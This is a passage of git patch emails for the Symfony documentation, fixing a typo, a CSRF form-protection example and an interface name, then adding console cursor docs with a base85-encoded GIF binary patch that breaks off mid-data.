From: Luc <luck.pieri@gmail.com>
Date: Thu, 17 Jun 2021 11:43:31 +0200
Subject: [PATCH 0941/5766] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 795459d02be..e68f04eba18 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1892,7 +1892,7 @@ use the ``generateUrl()`` helper::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
-    as value of an extra parameter, you need to explictly convert it to a string::
+    as value of an extra parameter, you need to explicitly convert it to a string::
 
         $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
 

From b4f0e0439a8f1119be34ad8720f2db071c44de9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Jun 2021 17:19:05 +0200
Subject: [PATCH 0942/5766] [Form] Fixed a code example related to CSRF

---
 components/form.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..86a98d48d35 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -121,16 +121,17 @@ The following snippet adds CSRF protection to the form factory::
 
     use Symfony\Component\Form\Extension\Csrf\CsrfExtension;
     use Symfony\Component\Form\Forms;
-    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Csrf\CsrfTokenManager;
     use Symfony\Component\Security\Csrf\TokenGenerator\UriSafeTokenGenerator;
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
-    // creates a Session object from the HttpFoundation component
-    $session = new Session();
+    // creates a RequestStack object using the current request
+    $requestStack = new RequestStack();
+    $requestStack->push($request);
 
     $csrfGenerator = new UriSafeTokenGenerator();
-    $csrfStorage = new SessionTokenStorage($session);
+    $csrfStorage = new SessionTokenStorage($requestStack);
     $csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);
 
     $formFactory = Forms::createFormFactoryBuilder()

From 2871df0eb93956aa2c1d01d542757b91f5b50fd3 Mon Sep 17 00:00:00 2001
From: holloway87 <me@holloway-web.de>
Date: Mon, 14 Jun 2021 19:41:51 +0200
Subject: [PATCH 0943/5766] [Security] changed interface name to the correct
 one

---
 security/named_hashers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 06f31852020..45ff296540e 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -139,7 +139,7 @@ the name of the hasher to use::
     }
 
 If you created your own password hasher implementing the
-:class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::

From 232c519980c35d519946c38b9037141ab3f6a800 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 21 Apr 2021 14:58:48 +0200
Subject: [PATCH 0944/5766] [Console] Document console cursor

---
 _images/components/console/cursor.gif      | Bin 0 -> 64894 bytes
 components/console/helpers/cursor.rst      | 101 +++++++++++++++++++++
 components/console/helpers/index.rst       |   1 +
 components/console/helpers/map.rst.inc     |   1 +
 components/console/helpers/progressbar.rst |   2 +-
 console.rst                                |   1 +
 6 files changed, 105 insertions(+), 1 deletion(-)
 create mode 100644 _images/components/console/cursor.gif
 create mode 100644 components/console/helpers/cursor.rst

diff --git a/_images/components/console/cursor.gif b/_images/components/console/cursor.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd844eb80a1f0502cfc131c7f6a5b687e03c34
GIT binary patch
literal 64894
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
